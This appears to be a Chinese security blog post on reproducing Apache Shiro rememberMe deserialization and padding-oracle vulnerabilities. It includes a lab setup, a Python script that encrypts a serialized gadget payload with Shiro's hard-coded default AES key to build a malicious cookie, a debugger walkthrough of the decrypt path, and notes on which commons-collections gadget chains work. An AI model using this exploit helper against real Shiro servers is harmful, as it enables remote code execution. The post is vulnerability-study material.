• shiro < 1.2.4 环境搭建


    1. 官网下载shiro-root-1.2.4,把其中的samples-web部署到IDEA中。

    2. 修改pom.xml,加个cc依赖(默认是不带的)
              
                  commons-collections
                  commons-collections
                  3.2.1
              
      
    3. tomcat部署启动。
  • shiro < 1.2.4 简单复现


    用cc11打一下(cc6不行,原因待会说)
    import base64
    import uuid
    from random import Random
    from Crypto.Cipher import AES
    
    def get_file_data(filename):
        with open(filename, 'rb') as f:
            data = f.read()
        return data
    
    def aes_enc(data):
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
        return ciphertext
    
    def aes_dec(enc_data):
        enc_data = base64.b64decode(enc_data)
        unpad = lambda s : s[:-s[-1]]
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = enc_data[:16]
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        plaintext = encryptor.decrypt(enc_data[16:])
        plaintext = unpad(plaintext)
        return plaintext
    
    if __name__ == "__main__":
        data = get_file_data("ser.bin")
        print(aes_enc(data))
    

  • shiro < 1.2.4 漏洞分析


    在AbstractRememberMeManager#getRememberedPrincipals中的getRememberedSerializedIdentity处下断点

    跟进到获取cookie的地方(写的时候中间断过几次,payload可能不一样)

    检查base64格式后进行解码

    然后进入convertBytesToPrincipals对解码后的数据进行处理
    image-20220126162516627
    进入decrypt函数中
    image-20220126162600004
    函数中进行的就是正常的AES解密,没什么可看的,这里跟踪一下 getDecryptionCipherKey看一下密钥
    image-20220126163207363
    image-20220126163249845
    发现密钥,这也是我们前面加密脚本里用到的
    最后反序列化处理传进去的内容image-20220126163333765
    image-20220126163501308
  • shiro < 1.4.2 padding oracle


    在shiro 1.2.5 之后获取key的方式不再是硬编码
    image-20220126172549532
    这次的问题出现在解密函数本身,追踪解密函数,发现调用了crypt函数
    image-20220126172902350
    单步进入到这里,在密钥不正确的情况下会抛出异常
    image-20220126173059541
    填充时的不正确导致服务器不同的相应,可根据此特性利用padding oracle攻击爆破CBC加密过程中的临时变量,从而达到任意加密和任意解密。
  • payload打不通的问题


    如果用CC6去打的话会报错,因为shiro用的不是java原生的反序列化套件,重写了ObjectInputStream类的resolveClass函数,重写后的resolveClass方法采用的是ClassUtils.forName获取class对象,
    public static Class forName(String fqcn) throws UnknownClassException {
        Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
            }
    
            clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
        }
    
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
            }
    
            clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
        }
    
        if (clazz == null) {
            String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
            throw new UnknownClassException(msg);
        } else {
            return clazz;
        }
    }
    

    具体原因很麻烦,这里直接放P神在java反序列化漫谈中的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,因此诸如此类的CC链都是打不了的。
    image-20220127125650828
    不过利用的字节码动态加载的CC2,CC4等还可以正常使用。
  • 无CC依赖


    cc依赖并不是shiro自带,所以就有人研究出了Shiro自带CommonsBeanutils的反序列化gadget,具体分析可自行查询。

 

参考文献:

 

 

 

标签: none

添加新评论